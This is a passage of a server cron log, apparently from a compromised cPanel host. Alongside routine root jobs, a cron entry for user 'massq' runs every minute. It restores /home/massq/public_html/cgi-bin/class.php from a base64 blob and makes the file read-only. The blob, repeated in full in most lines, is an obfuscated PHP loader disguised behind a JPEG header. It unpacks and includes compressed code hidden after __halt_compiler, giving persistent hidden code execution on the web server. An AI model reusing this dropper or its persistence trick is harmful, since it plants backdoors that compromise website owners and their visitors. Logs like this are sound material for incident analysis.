&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:00:01 server CROND[2958]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 01:00:01 server CROND[2961]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:00:01 server CROND[2962]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 01:00:01 server CROND[2963]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 01:01:02 server CROND[3835]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:01:02 server CROND[3836]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 01:01:02 server run-parts(/etc/cron.hourly)[3836]: starting 0anacron
Nov 11 01:01:02 server anacron[3849]: Anacron started on 2025-11-11
Nov 11 01:01:02 server anacron[3849]: Normal exit (0 jobs run)
Nov 11 01:01:02 server run-parts(/etc/cron.hourly)[3852]: finished 0anacron
Nov 11 01:02:01 server CROND[4654]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:03:01 server CROND[5465]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:04:01 server CROND[6062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:05:01 server CROND[7025]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 01:05:01 server CROND[7026]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 01:05:01 server CROND[7027]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 01:05:01 server CROND[7030]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:06:01 server CROND[7767]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:07:01 server CROND[8582]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:08:01 server CROND[9379]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:09:01 server CROND[10041]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 01:09:01 server CROND[10042]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:10:01 server CROND[10955]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 01:10:01 server CROND[10957]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 01:10:01 server CROND[10959]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:10:01 server CROND[10958]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 01:11:01 server CROND[11873]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:12:01 server CROND[12615]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
